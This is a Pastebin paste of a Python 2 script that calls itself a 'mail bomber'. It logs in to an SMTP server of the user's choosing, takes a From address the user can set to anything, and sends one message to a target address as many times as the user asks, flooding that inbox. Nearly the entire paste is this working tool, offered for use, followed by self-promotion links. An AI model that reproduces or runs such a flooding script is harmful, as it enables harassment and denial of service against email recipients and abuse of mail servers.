Guest User

Untitled

a guest
Mar 28th, 2019
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.24 KB | None | 0 0
  1. import smtplib  #for SMTP Protocol
  2. import mimetypes #converts URL
  3. import sys #for System
  4. import time #time
  5. from email.MIMEText import MIMEText
  6. class SMTP(object):
  7.       def title(self):
  8.             print "       PYTHON MAIL BOMBER IS WORKING :) "
  9.  
  10.       def SMTPconnect(self):
  11.             print "We are in the SMTPconnect" #list of SMTP server - http://www.e-eeasy.com/SMTPServerList.aspx
  12.             self.smtpserver=raw_input("\nEnter SMTP server: ")
  13.             self.smtpport=input("Enter SMTP port (Usualy 25 or 465): ")
  14.             try:
  15.                   self.mailServer = smtplib.SMTP(self.smtpserver,self.smtpport)
  16.             except IOError, e:
  17.                   print 'Error: %s' %(e)
  18.                   time.sleep(5)
  19.                   sys.exit(1)
  20.             self.mailServer.starttls()
  21.             self.username=raw_input("\nEnter Username: ") #Username
  22.             self.password=raw_input("Enter Password: ") #password
  23.             try:
  24.                   self.mailServer.login(self.username,self.password)
  25.             except BaseException, e:
  26.                   print 'Error: %s' % (e)
  27.                   time.sleep(3)
  28.                   sys.exit(1)
  29.       def buildemail(self):
  30.             print " We are inside Buildemail "
  31.             print "\tBuilding message part"
  32.             self.From = raw_input("\nFrom: ") # From
  33.             self.To = raw_input("\nTo: ") # TO
  34.             self.Subject = raw_input("\nSubject: ") #Subject
  35.             self.Message = raw_input("\nMessage: ") #message
  36.             mensaje = MIMEText(self.Message)
  37.             mensaje['From']=self.From
  38.             mensaje['To']=self.To
  39.             mensaje['Subject']=self.Subject
  40.             self.ammount = input("How Many times would you like to send email: ")
  41.             x = 0
  42.             while x < self.ammount:
  43.                   self.mailServer.sendmail(self.From, self.To, mensaje.as_string())
  44.                   x+=1
  45.             print "Send %d messages to %s" %(self.ammount,self.To)
  46.             time.sleep(7)
  47.             print "Thnx for using Mycode!\nhttp://facebook.com/webmaster.pg\n"
  48.             print " Subscribe :) www.youtube.com/priyankgada "
  49. if __name__ == '__main__':
  50.       s = SMTP()
  51.       s.title()
  52.       s.SMTPconnect()
  53.       s.buildemail()
Add Comment
Please, Sign In to add comment